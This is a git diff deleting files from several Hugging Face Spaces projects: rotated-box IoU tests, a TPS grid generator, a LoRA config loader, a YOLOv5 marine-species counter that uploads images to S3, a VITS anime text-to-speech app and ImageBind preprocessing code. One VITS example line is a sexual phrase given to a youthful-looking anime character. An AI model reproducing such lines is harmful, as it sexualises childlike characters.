-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            # Simplified test case of D2-issue-1207
-            boxes1 = torch.tensor([[3, 3, 8, 2, -45.0]], device=device)
-            boxes2 = torch.tensor([[6, 0, 8, 2, -45.0]], device=device)
-            iou = 0.0
-            expected_ious = torch.tensor([[iou]], dtype=torch.float32, device=device)
-
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_issue1207(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            # The original test case in D2-issue-1207
-            boxes1 = torch.tensor([[160.0, 153.0, 230.0, 23.0, -37.0]], device=device)
-            boxes2 = torch.tensor([[190.0, 127.0, 80.0, 21.0, -46.0]], device=device)
-
-            iou = 0.0
-            expected_ious = torch.tensor([[iou]], dtype=torch.float32, device=device)
-
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_empty_cat(self):
-        x = RotatedBoxes.cat([])
-        self.assertTrue(x.tensor.shape, (0, 5))
-
-
-def benchmark_rotated_iou():
-    num_boxes1 = 200
-    num_boxes2 = 500
-    boxes1 = torch.stack(
-        [
-            torch.tensor([5 + 20 * i, 5 + 20 * i, 10, 10, 0], dtype=torch.float32)
-            for i in range(num_boxes1)
-        ]
-    )
-    boxes2 = torch.stack(
-        [
-            torch.tensor(
-                [5 + 20 * i, 5 + 20 * i, 10, 1 + 9 * i / num_boxes2, 0], dtype=torch.float32
-            )
-            for i in range(num_boxes2)
-        ]
-    )
-
-    def func(dev, n=1):
-        b1 = boxes1.to(device=dev)
-        b2 = boxes2.to(device=dev)
-
-        def bench():
-            for _ in range(n):
-                pairwise_iou_rotated(b1, b2)
-            if dev.type == "cuda":
-                torch.cuda.synchronize()
-
-        return bench
-
-    # only run it once per timed loop, since it's slow
-    args = [{"dev": torch.device("cpu"), "n": 1}]
-    if torch.cuda.is_available():
-        args.append({"dev": torch.device("cuda"), "n": 10})
-
-    benchmark(func, "rotated_iou", args, warmup_iters=3)
-
-
-if __name__ == "__main__":
-    unittest.main()
-    benchmark_rotated_iou()
diff --git a/spaces/hasibzunair/fifa-tryon-demo/tps_grid_gen.py b/spaces/hasibzunair/fifa-tryon-demo/tps_grid_gen.py
deleted file mode 100644
index 3d96b20e8482de603696231ac172155e2d6b442a..0000000000000000000000000000000000000000
--- a/spaces/hasibzunair/fifa-tryon-demo/tps_grid_gen.py
+++ /dev/null
@@ -1,83 +0,0 @@
-# encoding: utf-8
-
-import torch
-import itertools
-import torch.nn as nn
-from torch.autograd import Function, Variable
-
-# phi(x1, x2) = r^2 * log(r), where r = ||x1 - x2||_2
-
-
-def compute_partial_repr(input_points, control_points):
-    N = input_points.size(0)
-    M = control_points.size(0)
-    pairwise_diff = input_points.view(N, 1, 2) - control_points.view(1, M, 2)
-    # original implementation, very slow
-    # pairwise_dist = torch.sum(pairwise_diff ** 2, dim = 2) # square of distance
-    pairwise_diff_square = pairwise_diff * pairwise_diff
-    pairwise_dist = pairwise_diff_square[:,
-                                         :, 0] + pairwise_diff_square[:, :, 1]
-    repr_matrix = 0.5 * pairwise_dist * torch.log(pairwise_dist)
-    # fix numerical error for 0 * log(0), substitute all nan with 0
-    mask = repr_matrix != repr_matrix
-    repr_matrix.masked_fill_(mask, 0)
-    return repr_matrix
-
-
-class TPSGridGen(nn.Module):
-
-    def __init__(self, target_height, target_width, target_control_points):
-        super(TPSGridGen, self).__init__()
-        assert target_control_points.ndimension() == 2
-        assert target_control_points.size(1) == 2
-        N = target_control_points.size(0)
-        self.num_points = N
-        target_control_points = target_control_points.float()
-
-        # create padded kernel matrix
-        forward_kernel = torch.zeros(N + 3, N + 3)
-        target_control_partial_repr = compute_partial_repr(
-            target_control_points, target_control_points)
-        forward_kernel[:N, :N].copy_(target_control_partial_repr)
-        forward_kernel[:N, -3].fill_(1)
-        forward_kernel[-3, :N].fill_(1)
-        forward_kernel[:N, -2:].copy_(target_control_points)
-        forward_kernel[-2:, :N].copy_(target_control_points.transpose(0, 1))
-        # compute inverse matrix
-        inverse_kernel = torch.inverse(forward_kernel)
-
-        # create target cordinate matrix
-        HW = target_height * target_width
-        target_coordinate = list(itertools.product(
-            range(target_height), range(target_width)))
-        # print(target_coordinate)
-        target_coordinate = torch.Tensor(target_coordinate)  # HW x 2
-        Y, X = target_coordinate.split(1, dim=1)
-        Y = Y * 2 / (target_height - 1) - 1
-        X = X * 2 / (target_width - 1) - 1
-        # convert from (y, x) to (x, y)
-        target_coordinate = torch.cat([X, Y], dim=1)
-        target_coordinate_partial_repr = compute_partial_repr(
-            target_coordinate, target_control_points)
-        target_coordinate_repr = torch.cat([
-            target_coordinate_partial_repr, torch.ones(
-                HW, 1), target_coordinate
-        ], dim=1)
-
-        # register precomputed matrices
-        self.register_buffer('inverse_kernel', inverse_kernel)
-        self.register_buffer('padding_matrix', torch.zeros(3, 2))
-        self.register_buffer('target_coordinate_repr', target_coordinate_repr)
-
-    def forward(self, source_control_points):
-        assert source_control_points.ndimension() == 3
-        assert source_control_points.size(1) == self.num_points
-        assert source_control_points.size(2) == 2
-        batch_size = source_control_points.size(0)
-
-        Y = torch.cat([source_control_points, Variable(
-            self.padding_matrix.expand(batch_size, 3, 2))], 1)
-        mapping_matrix = torch.matmul(Variable(self.inverse_kernel), Y)
-        source_coordinate = torch.matmul(
-            Variable(self.target_coordinate_repr), mapping_matrix)
-        return source_coordinate
diff --git a/spaces/heath1989/prompt-r-gen-sd/promptsModules/model_manager.py b/spaces/heath1989/prompt-r-gen-sd/promptsModules/model_manager.py
deleted file mode 100644
index 240a62c8d2a95d2ec8abb009605843efcf470d9e..0000000000000000000000000000000000000000
--- a/spaces/heath1989/prompt-r-gen-sd/promptsModules/model_manager.py
+++ /dev/null
@@ -1,153 +0,0 @@
-# -*- coding:utf-8 -*-
-import os
-
-import openpyxl as pyxl
-
-
-class ModelInfo:
-    def __init__(self, id_model, type_model, name_model, trigger_words="", min_widget=0.4, max_widget=1,
-                 default_widget=0.6, is_special=False, user_desc=""):
-        self.id_model = id_model
-        self.type_model = type_model
-        self.name_model = name_model
-        self.trigger_words = trigger_words
-        self.min_widget = min_widget
-        self.max_widget = max_widget
-        self.default_widget = default_widget
-        self.is_special = is_special
-        self.user_desc = user_desc
-
-    def __str__(self):
-        return f"{self.id_model} {self.type_model} {self.name_model} {self.trigger_words} {self.min_widget} {self.max_widget} {self.default_widget} {self.is_special}"
-
-
-class LoraConfigManager(object):
-    _data = {}
-    _special_ids = set()
-    _lastModifyTime = 0
-
-    _instance = None
-
-    def __new__(cls, *args, **kw):
-        if cls._instance is None:
-            cls._instance = object.__new__(cls, *args, **kw)
-            cls._instance.loadData()
-        return cls._instance
-
-    def __init__(self):
-        pass
-
-    def get_excel_file_path(self):
-        current_file_path = os.path.abspath(__file__)
-        current_folder = os.path.dirname(current_file_path)
-
-        target_file_name = "modelsConfig.xlsx"
-        target_file_path = os.path.join(current_folder, target_file_name)
-        return target_file_path
-
-    def loadData(self):
-        target_file_path = self.get_excel_file_path()
-
-        # 检查文件是否存在
-        if os.path.exists(target_file_path):
-            print(f"loading prompt-r-gen-sd excel file：{target_file_path}")
-            self._lastModifyTime = os.path.getmtime(target_file_path)
-            workbook = pyxl.load_workbook(target_file_path)
-            sheet = workbook.active
-            for row in sheet.iter_rows(min_row=2, values_only=True):  # 从第2行开始遍历
-                id_model = row[0]
-                type_model = row[1]
-                name_model = row[2]
-                trigger_words = row[3]
-                min_widget = row[4]
-                max_widget = row[5]
-                default_widget = row[6]
-                is_special = row[7]
-                user_desc = row[8]
-
-                if id_model is None or type_model is None or name_model is None:
-                    continue
-
-                if trigger_words is not None and isinstance(trigger_words, str) and trigger_words.endswith(","):
-                    trigger_words = trigger_words[:-1]
-                elif isinstance(trigger_words, str):
-                    pass
-                else:
-                    trigger_words = ""
-
-                if min_widget is not None:
-                    if isinstance(min_widget, str) and min_widget.isdigit():
-                        min_widget = float(min_widget)
-                else:
-                    min_widget = 0.4
-                if max_widget is not None:
-                    if isinstance(max_widget, str) and max_widget.isdigit():
-                        max_widget = float(max_widget)
-                else:
-                    max_widget = 1
-                if default_widget is not None:
-                    if isinstance(default_widget, str) and default_widget.isdigit():
-                        default_widget = float(default_widget)
-                    else:
-                        default_widget = 0.6
-                else:
-                    default_widget = 0.6
-
-                is_special = (is_special == 1)
-                model_obj = ModelInfo(id_model, type_model, name_model, trigger_words, min_widget, max_widget,
-                                      default_widget, is_special, user_desc)
-                # print(model_obj)
-                identifer = f"{id_model}_{type_model}"
-                if is_special:
-                    self._special_ids.add(identifer)
-                self._data[identifer] = model_obj
-            workbook.close()
-        else:
-            print(f"can NOT find prompt-r-gen-sd excel file：{target_file_path}")
-
-    def query_data(self, model_id):
-        if self._lastModifyTime != os.path.getmtime(self.get_excel_file_path()):
-            print("prompt config changed, reloading....")
-            self.reload()
-            if model_id in self._data:
-                return self._data[model_id]
-        else:
-            if model_id in self._data:
-                return self._data[model_id]
-        return None
-
-    def reload(self):
-        self._lastModifyTime = os.path.getmtime(self.get_excel_file_path())
-        self._data = {}
-        self._special_ids = set()
-        self.loadData()
-
-    def check_special(self, model_id):
-        if f"{model_id}_1" in self._special_ids:
-            return True
-        if f"{model_id}_2" in self._special_ids:
-            return True
-
-        return False
-
-    def export_to_data_frame(self):
-        data = []
-        for key, value in self._data.items():
-            obj_index = key.split("_")[0]
-            obj_type = value.type_model
-            if obj_type == 1 or obj_type == "1":
-                obj_type = "Lora"
-            elif obj_type == 2 or obj_type == "2":
-                obj_type = "Loha"
-            elif obj_type == 3 or obj_type == "3":
-                obj_type = "Embedding"
-            obj_name = value.name_model
-            obj_desc = value.user_desc
-            data.append([key, obj_index, obj_type, obj_name, obj_desc])
-
-        # sort data with key obj
-        data.sort(key=lambda x: x[0])
-        # loop data, and remove every firt obj from child node
-        for i in range(len(data)):
-            data[i].remove(data[i][0])
-        return data
diff --git a/spaces/hexenbiest/OceanApp/app.py b/spaces/hexenbiest/OceanApp/app.py
deleted file mode 100644
index b2c9d45b20059d3fc46622ba4e89faf1ce678ff2..0000000000000000000000000000000000000000
--- a/spaces/hexenbiest/OceanApp/app.py
+++ /dev/null
@@ -1,190 +0,0 @@
-# -*- coding: utf-8 -*-
-"""Deploy OceanApp demo.ipynb
-
-Automatically generated by Colaboratory.
-
-Original file is located at
-    https://colab.research.google.com/drive/1j0T8gdLIa0X8fzkIgFpXDoU27BF49RUz?usp=sharing
-
-![   ](https://i.pinimg.com/564x/3e/b8/f7/3eb8f7c348dffd7b3dffcafe81fbf2a6.jpg)
-
-# Modelo
-
-YOLO es una familia de modelos de detección de objetos a escala compuesta entrenados en COCO dataset, e incluye una funcionalidad simple para Test Time Augmentation (TTA), model ensembling, hyperparameter evolution, and export to ONNX, CoreML and TFLite.
-
-
-## Gradio Inferencia
-
-![](https://i.ibb.co/982NS6m/header.png)
-
-Este Notebook se acelera opcionalmente con un entorno de ejecución de GPU
-
-----------------------------------------------------------------------
-
- YOLOv5 Gradio demo
-
-*Author: Ultralytics LLC and Gradio*
-
-# Código
-"""
-#!pip install -qr https://raw.githubusercontent.com/ultralytics/yolov5/master/requirements.txt gradio # install dependencies
-
-import gradio as gr
-import pandas as pd
-import torch
-import logging
-import json
-import re
-import os 
-import boto3
-from botocore.exceptions import NoCredentialsError
-import tempfile
-import io
-from PIL import Image
-from pandas import json_normalize
-# Imagenes por defecto para HF
-torch.hub.download_url_to_file('https://i.pinimg.com/564x/18/0b/00/180b00e454362ff5caabe87d9a763a6f.jpg', 'ejemplo1.jpg')
-torch.hub.download_url_to_file('https://i.pinimg.com/564x/3b/2f/d4/3b2fd4b6881b64429f208c5f32e5e4be.jpg', 'ejemplo2.jpg')
-
-aws_access_key_id = os.environ['aws_access_key_id']
-aws_secret_access_key = os.environ['aws_secret_access_key'] 
-region = os.environ['region'] 
-
-#Elimina espacios en blanco
-def removeStr(string): 
-  return string.replace(" ", "")
-
-#Informacion del Dataframe a partir del json
-def arrayListax(json_data):
-  dict = json_data
-  df2 = json_normalize(dict['detail']) 
-  return df2
-
-#Imagen temporal guardada en upload_file
-def tempFileJSON(img_file):
-  temp = tempfile.NamedTemporaryFile(mode="wb")
-  with temp as jpg:
-    jpg.write(img_file)
-    print(jpg.name)
-    uf = upload_file(jpg.name)
-    return uf
-
-# Envio de imagenes a S3
-def upload_file(file_name, bucket=None, object_name=None):
-  """Upload a file to an S3 bucket
-
-  :param file_name: File to upload
-  :param bucket: Bucket to upload to
-  :param object_name: S3 object name. If not specified then file_name is used
-  :return: Json if file was uploaded, else False
-  """
-  # Si S3 object_name no esta especificado, usa file_name
-  if object_name is None:
-    object_name = os.path.basename(file_name+".jpg")
-  if bucket is None:
-    bucket = 'oceanapp2'
-  s3_client = boto3.client('s3',aws_access_key_id=aws_access_key_id,aws_secret_access_key=aws_secret_access_key)
-  aws_region = boto3.session.Session().region_name
-  # Subida del archivo
-  try:
-    with open(file_name, "rb") as f:
-      response = s3_client.upload_fileobj(f, bucket, object_name)
-      s3_url = f"https://{bucket}.s3.amazonaws.com/{object_name}"
-      stado = '"url_details":[{"statusCode":200, "s3_url":"'+s3_url+'"}]'
-    print(s3_url)
-  except FileNotFoundError:
-    print("The file was not found")
-    return False
-  except NoCredentialsError as e:
-    logging.error(e)
-    return False
-  return stado
-
-# Contador de los resultados del modelo
-def qtyEspecies(datax, datay, resImg):
-  numLobos = 0
-  numPelicanos = 0
-  dfEspecies = pd.DataFrame(datax)
-  for i in range(0, dfEspecies['name'].size):
-    if(dfEspecies['class'][i] == 0):
-      numLobos= numLobos + 1
-    if(dfEspecies['class'][i] == 1):
-      numPelicanos= numPelicanos + 1
-  strlista = '"detail":[{"quantity":"'+str(numLobos)+'","description":"Lobo marino"},{"quantity":"'+str(numPelicanos)+'","description":"Pelicano"}]'
-  data = '{"image":"'+str(removeStr(datay[0:9]))+'","size":"'+str(removeStr(datay[11:18]))+'",'+strlista+','+resImg+'}'
-  json_data = json.loads(data)
-  return json_data
-
-# Modelo Yolov5x
-model = torch.hub.load('ultralytics/yolov5', 'custom', path='best.pt', force_reload=True, autoshape=True)  # local model  o google colab
-
-def yolo(size, iou, conf, im):
-    try:
-      '''Wrapper fn for gradio'''
-      # gain
-      g = (int(size) / max(im.size))  
-      im = im.resize((int(x * g) for x in im.size), Image.ANTIALIAS)  
-
-      model.iou = iou
-      
-      model.conf = conf
-      # inference 
-      results2 = model(im)  
-      # actualiza el results.imgs con boxes y labels
-      results2.render()  
-      results3 = str(results2)
-      # contador de especies
-      results5=results2.pandas().xyxy[0].sort_values('name')
-      # transforma la img en bytes
-      pil_im = Image.fromarray(results2.ims[0])
-      b = io.BytesIO()
-      pil_im.save(b, 'jpeg')
-      im_bytes = b.getvalue()
-      fileImg = tempFileJSON(im_bytes)
-      #Envia la informacion al contador de especies
-      results6 = qtyEspecies(results5,results3,fileImg)
-      lista2 = arrayListax(results6)
-      return Image.fromarray(results2.ims[0]), lista2, results6
-    except Exception as e:
-      logging.error(e, exc_info=True)
-
-#------------ Interface-------------
-
-in1 = gr.inputs.Radio(['640', '1280'], label="Tamaño de la imagen", default='640', type='value')
-in2 = gr.inputs.Slider(minimum=0, maximum=1, step=0.05, default=0.45, label='NMS IoU threshold')
-in3 = gr.inputs.Slider(minimum=0, maximum=1, step=0.05, default=0.50, label='Umbral o  threshold')
-in4 = gr.inputs.Image(type='pil', label="Original Image")
-
-out2 = gr.outputs.Image(type="pil", label="Identificación con Yolov5")
-out3 = gr.outputs.Dataframe(type="pandas", label="Descripción", headers=['Cantidad','Especie'])  
-out4 = gr.outputs.JSON(label="JSON")
-#-------------- Text-----
-title = 'OceanApp'
-description = """
-<p>
-<center>
-<p>Sistema para el reconocimiento de las especies en la pesca acompañante de cerco, utilizando redes neuronales convolucionales para una empresa del sector pesquero en los puertos de callao y paracas.</p>
-<p><b>Nota</b>: Este modelo solo acepta imagenes de <b>Lobos marinos</b> o <b>Pelicanos</b> proporcionados por empresas peruanas.</p>
-<center>
-<img src="https://i.pinimg.com/564x/3e/b8/f7/3eb8f7c348dffd7b3dffcafe81fbf2a6.jpg" alt="logo" width="250"/>
-</center>
-</center>
-</p>
-"""
-article ="<p style='text-align: center'><a href='' target='_blank'>Para mas info, clik para ir al white paper</a></p><p style='text-align: center'><a href='https://colab.research.google.com/drive/1j0T8gdLIa0X8fzkIgFpXDoU27BF49RUz?usp=sharing' target='_blank'>Google Colab Demo</a></p><p style='text-align: center'><a href='https://github.com/MssLune/OceanApp-Model' target='_blank'>Repo Github</a></p></center></p>"
-          
-examples = [['640',0.45, 0.75,'ejemplo1.jpg'], ['640',0.45, 0.75,'ejemplo2.jpg']]
-
-iface = gr.Interface(yolo, inputs=[in1, in2, in3, in4], outputs=[out2,out3,out4], title=title, description=description, article=article, examples=examples,theme="huggingface", analytics_enabled=False).launch(
-    debug=True)
-
-iface.launch()
-
-"""For YOLOv5 PyTorch Hub inference with **PIL**, **OpenCV**, **Numpy** or **PyTorch** inputs please see the full [YOLOv5 PyTorch Hub Tutorial](https://github.com/ultralytics/yolov5/issues/36).
-
-
-## Citation
-
-[![DOI](https://zenodo.org/badge/264818686.svg)](https://zenodo.org/badge/latestdoi/264818686)
-
-"""
\ No newline at end of file
diff --git a/spaces/hhhhardman/VITS/app.py b/spaces/hhhhardman/VITS/app.py
deleted file mode 100644
index c9bfb000af1af5ec0a745290b95431df58ad7a61..0000000000000000000000000000000000000000
--- a/spaces/hhhhardman/VITS/app.py
+++ /dev/null
@@ -1,256 +0,0 @@
-import argparse
-import json
-import os
-import re
-import tempfile
-import logging
-
-logging.getLogger('numba').setLevel(logging.WARNING)
-import librosa
-import numpy as np
-import torch
-from torch import no_grad, LongTensor
-import commons
-import utils
-import gradio as gr
-import gradio.utils as gr_utils
-import gradio.processing_utils as gr_processing_utils
-import ONNXVITS_infer
-import models
-from text import text_to_sequence, _clean_text
-from text.symbols import symbols
-from mel_processing import spectrogram_torch
-import psutil
-from datetime import datetime
-
-language_marks = {
-    "Japanese": "",
-    "日本語": "[JA]",
-    "简体中文": "[ZH]",
-    "English": "[EN]",
-    "Mix": "",
-}
-
-limitation = os.getenv("SYSTEM") == "spaces"  # limit text and audio length in huggingface spaces
-
-
-def create_tts_fn(model, hps, speaker_ids):
-    def tts_fn(text, speaker, language, speed, is_symbol):
-        if limitation:
-            text_len = len(re.sub("\[([A-Z]{2})\]", "", text))
-            max_len = 150
-            if is_symbol:
-                max_len *= 3
-            if text_len > max_len:
-                return "Error: Text is too long", None
-        if language is not None:
-            text = language_marks[language] + text + language_marks[language]
-        speaker_id = speaker_ids[speaker]
-        stn_tst = get_text(text, hps, is_symbol)
-        with no_grad():
-            x_tst = stn_tst.unsqueeze(0)
-            x_tst_lengths = LongTensor([stn_tst.size(0)])
-            sid = LongTensor([speaker_id])
-            audio = model.infer(x_tst, x_tst_lengths, sid=sid, noise_scale=.667, noise_scale_w=0.8,
-                                length_scale=1.0 / speed)[0][0, 0].data.cpu().float().numpy()
-        del stn_tst, x_tst, x_tst_lengths, sid
-        return "Success", (hps.data.sampling_rate, audio)
-
-    return tts_fn
-
-
-def create_vc_fn(model, hps, speaker_ids):
-    def vc_fn(original_speaker, target_speaker, input_audio):
-        if input_audio is None:
-            return "You need to upload an audio", None
-        sampling_rate, audio = input_audio
-        duration = audio.shape[0] / sampling_rate
-        if limitation and duration > 30:
-            return "Error: Audio is too long", None
-        original_speaker_id = speaker_ids[original_speaker]
-        target_speaker_id = speaker_ids[target_speaker]
-
-        audio = (audio / np.iinfo(audio.dtype).max).astype(np.float32)
-        if len(audio.shape) > 1:
-            audio = librosa.to_mono(audio.transpose(1, 0))
-        if sampling_rate != hps.data.sampling_rate:
-            audio = librosa.resample(audio, orig_sr=sampling_rate, target_sr=hps.data.sampling_rate)
-        with no_grad():
-            y = torch.FloatTensor(audio)
-            y = y.unsqueeze(0)
-            spec = spectrogram_torch(y, hps.data.filter_length,
-                                     hps.data.sampling_rate, hps.data.hop_length, hps.data.win_length,
-                                     center=False)
-            spec_lengths = LongTensor([spec.size(-1)])
-            sid_src = LongTensor([original_speaker_id])
-            sid_tgt = LongTensor([target_speaker_id])
-            audio = model.voice_conversion(spec, spec_lengths, sid_src=sid_src, sid_tgt=sid_tgt)[0][
-                0, 0].data.cpu().float().numpy()
-        del y, spec, spec_lengths, sid_src, sid_tgt
-        return "Success", (hps.data.sampling_rate, audio)
-
-    return vc_fn
-
-
-def get_text(text, hps, is_symbol):
-    text_norm = text_to_sequence(text, hps.symbols, [] if is_symbol else hps.data.text_cleaners)
-    if hps.data.add_blank:
-        text_norm = commons.intersperse(text_norm, 0)
-    text_norm = LongTensor(text_norm)
-    return text_norm
-
-
-def create_to_symbol_fn(hps):
-    def to_symbol_fn(is_symbol_input, input_text, temp_text):
-        return (_clean_text(input_text, hps.data.text_cleaners), input_text) if is_symbol_input \
-            else (temp_text, temp_text)
-
-    return to_symbol_fn
-
-
-models_tts = []
-models_vc = []
-models_info = [
-    {
-        "title": "Trilingual",
-        "languages": ['日本語', '简体中文', 'English', 'Mix'],
-        "description": """
-    This model is trained on a mix up of Umamusume, Genshin Impact, Sanoba Witch & VCTK voice data to learn multilanguage.
-    All characters can speak English, Chinese & Japanese.\n\n
-    To mix multiple languages in a single sentence, wrap the corresponding part with language tokens
-     ([JA] for Japanese, [ZH] for Chinese, [EN] for English), as shown in the examples.\n\n
-    这个模型在赛马娘，原神，魔女的夜宴以及VCTK数据集上混合训练以学习多种语言。
-    所有角色均可说中日英三语。\n\n
-    若需要在同一个句子中混合多种语言，使用相应的语言标记包裹句子。
-    （日语用[JA], 中文用[ZH], 英文用[EN]），参考Examples中的示例。
-    """,
-        "model_path": "./pretrained_models/G_trilingual.pth",
-        "config_path": "./configs/uma_trilingual.json",
-        "examples": [['你好，训练员先生，很高兴见到你。', '草上飞 Grass Wonder (Umamusume Pretty Derby)', '简体中文', 1, False],
-                     ['To be honest, I have no idea what to say as examples.', '派蒙 Paimon (Genshin Impact)', 'English',
-                      1, False],
-                     ['授業中に出しだら，学校生活終わるですわ。', '綾地 寧々 Ayachi Nene (Sanoba Witch)', '日本語', 1, False],
-                     ['[JA]こんにちわ。[JA][ZH]你好！[ZH][EN]Hello![EN]', '綾地 寧々 Ayachi Nene (Sanoba Witch)', 'Mix', 1, False]],
-        "onnx_dir": "./ONNX_net/G_trilingual/"
-    },
-    {
-        "title": "Japanese",
-        "languages": ["Japanese"],
-        "description": """
-                       This model contains 87 characters from Umamusume: Pretty Derby, Japanese only.\n\n
-                       这个模型包含赛马娘的所有87名角色，只能合成日语。
-                       """,
-        "model_path": "./pretrained_models/G_jp.pth",
-        "config_path": "./configs/uma87.json",
-        "examples": [['お疲れ様です，トレーナーさん。', '无声铃鹿 Silence Suzuka (Umamusume Pretty Derby)', 'Japanese', 1, False],
-                     ['張り切っていこう！', '北部玄驹 Kitasan Black (Umamusume Pretty Derby)', 'Japanese', 1, False],
-                     ['何でこんなに慣れでんのよ，私のほが先に好きだっだのに。', '草上飞 Grass Wonder (Umamusume Pretty Derby)', 'Japanese', 1, False],
-                     ['授業中に出しだら，学校生活終わるですわ。', '目白麦昆 Mejiro Mcqueen (Umamusume Pretty Derby)', 'Japanese', 1, False],
-                     ['お帰りなさい，お兄様！', '米浴 Rice Shower (Umamusume Pretty Derby)', 'Japanese', 1, False],
-                     ['私の処女をもらっでください！', '米浴 Rice Shower (Umamusume Pretty Derby)', 'Japanese', 1, False]],
-        "onnx_dir": "./ONNX_net/G_jp/"
-    },
-]
-
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser()
-    parser.add_argument("--share", action="store_true", default=False, help="share gradio app")
-    args = parser.parse_args()
-    for info in models_info:
-        name = info['title']
-        lang = info['languages']
-        examples = info['examples']
-        config_path = info['config_path']
-        model_path = info['model_path']
-        description = info['description']
-        onnx_dir = info["onnx_dir"]
-        hps = utils.get_hparams_from_file(config_path)
-        model = ONNXVITS_infer.SynthesizerTrn(
-            len(hps.symbols),
-            hps.data.filter_length // 2 + 1,
-            hps.train.segment_size // hps.data.hop_length,
-            n_speakers=hps.data.n_speakers,
-            ONNX_dir=onnx_dir,
-            **hps.model)
-        utils.load_checkpoint(model_path, model, None)
-        model.eval()
-        speaker_ids = hps.speakers
-        speakers = list(hps.speakers.keys())
-        models_tts.append((name, description, speakers, lang, examples,
-                           hps.symbols, create_tts_fn(model, hps, speaker_ids),
-                           create_to_symbol_fn(hps)))
-        models_vc.append((name, description, speakers, create_vc_fn(model, hps, speaker_ids)))
-    app = gr.Blocks()
-    with app:
-        gr.Markdown("# English & Chinese & Japanese Anime TTS\n\n"
-                    "![visitor badge](https://visitor-badge.glitch.me/badge?page_id=Plachta.VITS-Umamusume-voice-synthesizer)\n\n"
-                    "Including Japanese TTS & Trilingual TTS, speakers are all anime characters. \n\n包含一个纯日语TTS和一个中日英三语TTS模型，主要为二次元角色。\n\n"
-                    "If you have any suggestions or bug reports, feel free to open discussion in [Community](https://huggingface.co/spaces/Plachta/VITS-Umamusume-voice-synthesizer/discussions).\n\n"
-                    "若有bug反馈或建议，请在[Community](https://huggingface.co/spaces/Plachta/VITS-Umamusume-voice-synthesizer/discussions)下开启一个新的Discussion。 \n\n"
-                    )
-        with gr.Tabs():
-            with gr.TabItem("TTS"):
-                with gr.Tabs():
-                    for i, (name, description, speakers, lang, example, symbols, tts_fn, to_symbol_fn) in enumerate(
-                            models_tts):
-                        with gr.TabItem(name):
-                            gr.Markdown(description)
-                            with gr.Row():
-                                with gr.Column():
-                                    textbox = gr.TextArea(label="Text",
-                                                          placeholder="Type your sentence here (Maximum 150 words)",
-                                                          value="こんにちわ。", elem_id=f"tts-input")
-                                    with gr.Accordion(label="Phoneme Input", open=False):
-                                        temp_text_var = gr.Variable()
-                                        symbol_input = gr.Checkbox(value=False, label="Symbol input")
-                                        symbol_list = gr.Dataset(label="Symbol list", components=[textbox],
-                                                                 samples=[[x] for x in symbols],
-                                                                 elem_id=f"symbol-list")
-                                        symbol_list_json = gr.Json(value=symbols, visible=False)
-                                    symbol_input.change(to_symbol_fn,
-                                                        [symbol_input, textbox, temp_text_var],
-                                                        [textbox, temp_text_var])
-                                    symbol_list.click(None, [symbol_list, symbol_list_json], textbox,
-                                                      _js=f"""
-                                    (i, symbols, text) => {{
-                                        let root = document.querySelector("body > gradio-app");
-                                        if (root.shadowRoot != null)
-                                            root = root.shadowRoot;
-                                        let text_input = root.querySelector("#tts-input").querySelector("textarea");
-                                        let startPos = text_input.selectionStart;
-                                        let endPos = text_input.selectionEnd;
-                                        let oldTxt = text_input.value;
-                                        let result = oldTxt.substring(0, startPos) + symbols[i] + oldTxt.substring(endPos);
-                                        text_input.value = result;
-                                        let x = window.scrollX, y = window.scrollY;
-                                        text_input.focus();
-                                        text_input.selectionStart = startPos + symbols[i].length;
-                                        text_input.selectionEnd = startPos + symbols[i].length;
-                                        text_input.blur();
-                                        window.scrollTo(x, y);
-
-                                        text = text_input.value;
-
-                                        return text;
-                                    }}""")
-                                    # select character
-                                    char_dropdown = gr.Dropdown(choices=speakers, value=speakers[0], label='character')
-                                    language_dropdown = gr.Dropdown(choices=lang, value=lang[0], label='language')
-                                    duration_slider = gr.Slider(minimum=0.1, maximum=5, value=1, step=0.1,
-                                                                label='速度 Speed')
-                                with gr.Column():
-                                    text_output = gr.Textbox(label="Message")
-                                    audio_output = gr.Audio(label="Output Audio", elem_id="tts-audio")
-                                    btn = gr.Button("Generate!")
-                                    btn.click(tts_fn,
-                                              inputs=[textbox, char_dropdown, language_dropdown, duration_slider,
-                                                      symbol_input],
-                                              outputs=[text_output, audio_output])
-                            gr.Examples(
-                                examples=example,
-                                inputs=[textbox, char_dropdown, language_dropdown,
-                                        duration_slider, symbol_input],
-                                outputs=[text_output, audio_output],
-                                fn=tts_fn
-                            )
-    app.queue(concurrency_count=3).launch(show_api=False, share=args.share)
\ No newline at end of file
diff --git a/spaces/hlydecker/ImageBind_zeroshot_demo/models/multimodal_preprocessors.py b/spaces/hlydecker/ImageBind_zeroshot_demo/models/multimodal_preprocessors.py
deleted file mode 100644
index b19711da3af3bf6174958ec8fe897431ae3407a5..0000000000000000000000000000000000000000
--- a/spaces/hlydecker/ImageBind_zeroshot_demo/models/multimodal_preprocessors.py
+++ /dev/null
@@ -1,687 +0,0 @@
-#!/usr/bin/env python3
-# Portions Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-import gzip
-import html
-import io
-import math
-from functools import lru_cache
-from typing import Callable, List, Optional
-
-import ftfy
-
-import numpy as np
-import regex as re
-import torch
-import torch.nn as nn
-from iopath.common.file_io import g_pathmgr
-from timm.models.layers import trunc_normal_
-
-from models.helpers import cast_if_src_dtype, VerboseNNModule
-
-
-def get_sinusoid_encoding_table(n_position, d_hid):
-    """Sinusoid position encoding table"""
-
-    # TODO: make it with torch instead of numpy
-    def get_position_angle_vec(position):
-        return [
-            position / np.power(10000, 2 * (hid_j // 2) / d_hid)
-            for hid_j in range(d_hid)
-        ]
-
-    sinusoid_table = np.array(
-        [get_position_angle_vec(pos_i) for pos_i in range(n_position)]
-    )
-    sinusoid_table[:, 0::2] = np.sin(sinusoid_table[:, 0::2])  # dim 2i
-    sinusoid_table[:, 1::2] = np.cos(sinusoid_table[:, 1::2])  # dim 2i+1
-
-    return torch.FloatTensor(sinusoid_table).unsqueeze(0)
-
-
-def interpolate_pos_encoding_2d(target_spatial_size, pos_embed):
